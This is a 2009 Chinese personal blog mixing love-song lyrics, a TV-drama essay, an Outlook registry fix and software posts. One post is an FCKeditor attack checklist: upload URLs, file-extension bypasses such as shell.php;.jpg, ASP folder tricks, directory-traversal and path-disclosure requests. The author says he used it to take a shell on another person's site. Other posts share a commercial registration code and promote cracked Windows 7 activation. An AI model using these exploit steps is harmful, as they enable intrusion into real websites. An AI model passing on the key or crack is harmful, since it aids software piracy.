还记得那年下雨的冬天
还记得那年我和你的情人节
还记得吗?三年以前

我记得和你相爱的那年

我记得那家路边的咖啡店

我还记得那一瞬间

被爱的感觉消失不见

所有的痛藏在心里面

在爱与不爱之间

看着你哭泣的脸

你是我这一生想要的美丽女人

你是我这一辈子最难忘的人

你是我伤心的时候离不开的人

你是我这一生想要的美丽女人

你是我这一辈子最难忘的人

你是我寂寞的时候离不开的人

爱怎么可能变的那么残忍

你是我心中一个美丽女人

十二月 29th, 2009

Posted In: 未分类

和宝宝在一起看完了蜗居,自己也有太多的感言,今天在网上看到这个文章,不带考滤的都转载到了自己的BLOG,非常好,非常现实,最近看过的几部电视剧里面都能找到我的影子,非常的好
小贝工资不高,因为要攒钱,他自己并舍不得买好吃好穿的,可是当女朋友海藻对着哈根达斯的冰淇淋两眼放光的时候,他会毫不犹豫地买下这种“奢侈品”。他不能带海藻去高级餐馆,却会把自己喜欢吃的红烧肉开心地留给海藻。他可以把工资存折完全交给女友,对她大喊:“我的一切都是你的!求求你好心收下吧!”

每天早上,小贝会给海藻准备好早餐,甚至帮她挤好牙膏;中午,他会在MSN上和海藻聊天:“小猪猪,晚上去哪里吃饭呀?”傍晚下班他会给她打电话:“你现在哪里?”吃过晚饭后,他会陪她一起绕着小区散步。他打算一年以内和海藻结婚,两年以内凑钱贷款买房,在他所有未来的计划里,海藻是唯一的女主角。

小贝年轻,也暂时没有多少存款,但是他努力、踏实、善良。他有清晰的职业规划,他笃定地靠近自己的目标。如果海藻愿意耐心和他在一起的话,他们俩在大城市里拥有一个小窝的梦想,并不是那么难以实现。毕竟,年轻的男孩,怕的不是没钱,而是没有努力的意愿。就像《奋斗》里的夏琳对陆涛说的:“只要你一直努力,不管你有没有钱,我都一直爱你!”

喜欢看小贝的样子,他是这样一个大男孩。
他总是什么事都让着海藻,喜欢开玩笑,喜欢逗海藻。
一个将爱情与理性结合的很好的帅男孩,
有上进心,努力,热爱生活,会制造小浪漫。
我忽然很羡慕海藻,羡慕她所拥有的一切,羡慕小贝那么爱他。

我多希望在我犹豫的时候,也有人在我身边对我说,有我呢!
然后拉着我买下自己爱吃的,对于我们来说又有点儿奢侈的冰淇淋。
我多希望也会有人为我做好吃的饭菜,把我当一个小孩子似的哄我开心。
我多希望当我在Q上打出“在郁闷”三个字时,也会有人马上打电话询问我。
我多希望能有人挤出时间,带我出去庆祝每一个值得我们纪念的日子。
我多希望……

即使在知道海藻背叛之后,
小贝那个早上哭的那么压抑,怕吵醒海藻。
他用手巾捂着嘴,眼泪哗哗哗的流着说:
海藻我爱你,我没办法放弃你,我已经爱你到骨头了。
小贝去海萍家吃饭时,会装作满脸开心把礼物塞给冉冉,
说:冉冉,看这是什么啊,来亲一个。
小贝在吃饭的时候,大口的塞来堵住眼泪,
把头埋进碗里,忍着泪水强颜欢笑。

那就是小贝,尽管不富有,但是温暖,热情,认真,用心。
他会哭着告诉海藻,我应该让你知道什么叫做忠诚的小贝。
他是那个不得不让人心疼的小贝。

我们都知道,宋思明给海藻的东西,小贝给不了。不管是激情还是物质。
可是小贝给海藻的是全部,宠她爱她疼她,为她攒钱买房准备结婚生孩子。
而宋思明给的却是举手之劳,他要海藻 ,要家庭 ,要官位 ,要海藻的孩子
可是没有了这些 他还是宋思明么
而小贝 就是小贝 就那么一颗心 全都给了海藻
他宠着她让着她,像海藻说的会疼人一点都不像独生子女
他叫海藻小猪猪,可是他的小猪猪长大了,却被别人拿走了

小贝就那么一颗心,全都给了海藻,最后海藻却抛弃了那颗心和别人走了。
…………
太阳下年轻的爱多么美好 早上有他的早餐
夜晚有他的怀抱 可以一起在大街上闲逛 吃小摊
而不是打个电话那边说我开会呢或干脆挂断
一起吃饭要去高档的餐厅 不能时时陪着你 要做饭讨好他
要欺骗他说是Virgin 走在街上不能挽着他 说生孩子就得生一个
还要时时警惕原配什么时候找上门

直到有一天,海藻走在街头看到小贝。
那个本应该属于自己的位置,已经站了另外一个小女生。
她终于明白了——“我把自己幸福,弄丢了”。

亲爱的姐妹们,本来我可以说:其实,《蜗居》里那招女人喜欢的宋思明,倒回20年,也是青涩的小贝;我也可以说:我们看到的许多魅力翩翩、儒雅多金的成功男,比如李开复,也只有他的结发妻子了解他年轻时的“幼稚”、“少不更事”甚至当年的“一无所有”。所以,小贝终将可以成就你的“房车梦”。 作为一个年轻的女孩,愿意和小贝这样的男孩在一起,应该并不是看中他将来有成为“宋思明”或者“李开复”的潜力;同样,这种“陪伴”也并不是对他的恩赐。唯一的理由是:你爱他,他值得你爱。
因为这个理由,我们并不需要他成为一个多么成功的人,我们也并不会觉得自己的青春亏损了什么,从而要得到多么大的回报。我们只需要坦然地、正常地去爱。我们可以在太多想要“爱情与物质一步到位”的诱惑下,找到并享受那种随着时间一点点成长起来的、像大树一样稳定健康的爱情

十二月 28th, 2009

Posted In: 未分类

今天在看一哥手的站点的时候,拿到了后台,就想到shell,研究了很长时间没有思路,感谢大牛offset_pe的提示
1. 查看编辑器版本
FCKeditor/_whatsnew.html
————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破 测试通过。
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行
上传文件类型的控制,导致用户上传任意文件
将以下保存为html 文件修改action 地址
[code]<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/p
hp/upload.php?Type=Media" method="post">
[/code]
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为
shell_php;.jpg 这是新版FCK 的变化。
4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是
2 个不同的文件 未测试。]
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹
只检测了第一级的目录,如果跳到二级目录就不受限制。
5. 突破建立文件夹
[code]FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command
=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName
=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/conne
ctor.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolde
rName=aa.asp
[/code]
6. FCKeditor 中test 文件的上传地址
[code]FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
[/code]—————————————————————————————————
7.常用上传地址
[code]FCKeditor/editor/filemanager/browser/default/connectors/asp/conne
ctor.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Im
age&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Im
age&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanag
er%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Im
age&Connector=connectors/jsp/connector
[/code]注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
————————————————————————————————–
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再
选择浏览服务器即可跳转至可上传文件页实为7.常用上传地址。
————————————————————————————————–
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder
&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Co
mmand=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command
=GetFoldersAndFiles&Type=&CurrentFolder=%2F
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Co
mmand=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp
11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|
exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的
文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有
使用$sExtension 为后缀
直接导致在win 下在上传文件后面加个.来突破[未测试]
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其
他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的
代码,其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可
以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp
文件夹或者上传xx.asp;.jpg
以上方法都是网上收集和在平时渗透中所总结的经验,可能有些有遗漏,当再
想起的时候再补充,也有自己没发现的就要靠各位大侠分享学习了

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

根据大牛的提示成功取下shell

十二月 25th, 2009

Posted In: 未分类

今天使用了一个号称正版免费的高清视频转换软件,经本人测试,效果非常好,清对得起的界面,简单的设置,相信使用起来会非常方便,可转换avi,wmv,avc,mp3,hd mov,mpeg,hd ts,hd youtube,music等,以下是界面,使用非常简单

点击add即可添加你想转换的视频,然后选择你要转换的视频格式

点击start即可开始转换

当然你要想改变一下他的存放目录是非常简单的,点击browes选择你要存放的目录即可

可选择视频的比便

output video resolution就是设置视频的高度和宽度,默认为1920 1080相信这个尺寸就目录来讲已经满足大部分使用24寸屏幕的朋友了吧,还等什么了,快去体验吧

当然这里不会忘了和大家分享一下注册码

Reg Name: HDgiveaway
Reg Code: WINXHVC-5230-1898-1278

下载地址: http://www.winxdvd.com/download/winx-hd-video-converter.exe
以上是官方下载地址

本人已将文件汉话

有需要的朋友下载以下文件替换掉原来文件即可,如有问题请及时发送E-mail

点击下载此文件

十二月 17th, 2009

Posted In: 未分类

俺家宝宝在工作时突然邮件的附件无法打开,仔细研究了下发现原来是缓存目录出了问题,解决方法当然是改注册表哪,其实很简单,只需建一个文件夹,然后改一下outlook的缓存目录到你新建的缓存目录即可
Outlook 2003
1. 在任意一个盘下面建一个文件夹,用来自己识别就可以了我的文件件名字是voilet_temp

2. 命名最好是英文

3. 单击 开始 单击 运行 , 键入 regedit , 然后单击 确定 。

4. 找到并单击以下注册表项:
HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0OutlookSecurity
5. 在右窗格中, 双击 OutlookSecureTempFolder 。

6. 在 值数据 字段, 键入 C:voilet_temp 然后单击 确定 。

7. 重新启动计算机。

完成以上7步,你的outlook就可以正常使用了,关键在与你的缓存目录没了权限,是什么原因引起的还没有研究过,只是用此办法就可以解决问题,那位知道是什么原因引起缓存目录没有权限的,请也告知本人

十二月 17th, 2009

Posted In: 未分类

windows 7除了界面的豪华以外,其功能也非常强,从vista的80多个进程数降低为40个,已经有了很大的进步,运行速度也非常的好,xp server 2003 vista的兼容模式

先秀一下界面

此功能实现模式只需按win键加tab就可以出现

当然,说到这里就要说破解了,破解并不是大家想像的那么难,只需运行一个小小的程序,即可更改为oem版本,当然就是正版了

激活效果

应该很帅吧,想体验的赶快加入windows 7吧,从此彻底放弃vista

说到这里了当然就要说一下做为php开发的程序员,在windows 7上调试程序了可能会存在很多的问题,当然是有办法的,多试几个套包,这里推荐使用Easy2PHP5,本人测试很多后感觉此套件在windows 7上完美兼容,无需多余设置,怎么样,心动不入行动,快加入吧……go go go

十二月 15th, 2009

Posted In: 未分类

转眼毕业三年,自己都做了些什么,总感觉自己一直在争取自己想要的生活,自己想像中的家,可现实却永远不是这样,努力做自己想做的事,可越来感觉越远,好想有一个家,一个属与自己的小家,争取中

十二月 11th, 2009

Posted In: 未分类

看到PJ更新日历可以做升级,就在次对BLOG做了次升级,嗯,不错,很稳定就升级到了2.8.352版本,恭喜下先
先到官方下载升级程序
放到你BLOG目录,执行
www.xxx.com/install.html
当然这里要按你的目录来定

执行以下三步

然后你的BLOG就升级成功了嘿
自己测试下吧,后台功能更加强大

点击下载此文件

十二月 3rd, 2009

Posted In: 未分类

无觅相关文章插件,快速提升流量